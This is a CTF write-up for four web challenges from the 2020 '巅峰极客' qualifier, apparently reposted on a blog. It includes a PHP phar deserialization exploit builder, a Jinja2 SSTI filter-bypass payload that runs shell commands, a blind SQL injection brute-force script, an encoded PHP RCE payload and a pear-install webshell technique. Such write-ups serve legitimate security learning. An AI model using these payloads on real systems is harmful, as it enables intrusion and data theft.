2020“巅峰极客”初赛Writeup

微信扫一扫,分享到朋友圈

2020“巅峰极客”初赛Writeup

Author:颖奇L’Amore

Blog:www.gem-love.com

因为一直在TCTF Final摸鱼,这个比赛就随便看了看,最后一个web在赛后6分钟做出的,于是无缘线下了,这个线上赛就权当娱乐了

babyphp2

www.zip得到源码。不用注入,因为读文件和上传文件都不需要登录,那个只是个障眼法。

有类,有上传,有文件读取,很明显的Phar反序列化

<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct()
{
$this->nickname = new Reader();
$this->backup = "/flag";
}
}
class dbCtrl
{
public $token;
public function __construct()
{
$this->token = new User;
}
}
Class Reader{
public $filename;
public $result;
}
$y1ng = new dbCtrl();
$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("web1.phar", "y1ng.gif");

上传得到路径,因为读文件时对schema有过滤,利用压缩过滤器触发phar即可:

compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif

babyflask

一血,被队友1分钟solve,老生常谈的bypass套路

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}

babyback

有必要吐槽一下ichunqiu这个平台,docker是队友开的,这题我拿的一血,但是只能开docker的人交flag就很傻逼,正好开docker的人出门了,导致一直交不上flag,耽误了好几分钟,最后变成了二血

题很简单,考点我都出过,并且是开源的

  • 无引号SQL注入参考:https://www.gem-love.com/ctf/2283.html#LoginOnlyFor36D
  • 无括号分号RCE参考:https://www.gem-love.com/ctf/2283.html#%E7%BB%99%E4%BD%A0shell
  • 题目开源:https://github.com/y1nglamore/Y1ngCTF
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
url = "http://[docker].cloudeci1.ichunqiu.com/index.php"
data = {
"username" : '''admin\\''',
"password" : ""
}
res = ""
for position in range(1,30):
for i in range(32,127):
payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
data["password"] = payload
r = req.post(url=url, data=data)
if r"<div>密码错误" not in r.text:
res += chr(i)
print(res)
break
else:
continue
# uAreRigHt

然后包含一个/flag的取反拿flag

command=require%40%7e%d0%99%93%9e%98?>

MeowWorld

这题有点可惜,比赛结束前20分钟才来看,导致在赛后6分钟时拿到flag,如果早来点儿肯定进线下了

有一个参考文章:https://khack40.info/camp-ctf-2015-trolol-web-write-up/

f 参数文件包含,只是后面有.php的后缀拼接

<?php
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

利用 pear install 装马,必须是php后缀:

之后包含即可RCE。readflag还要写个小脚本

这东西之前比赛也都出过

微信扫一扫,分享到朋友圈

2020“巅峰极客”初赛Writeup

docker:latest 和 docker:dind 镜像区别

上一篇

NASA提醒:今晚是国际观月夜

下一篇

你也可能喜欢

2020“巅峰极客”初赛Writeup

长按储存图像,分享给朋友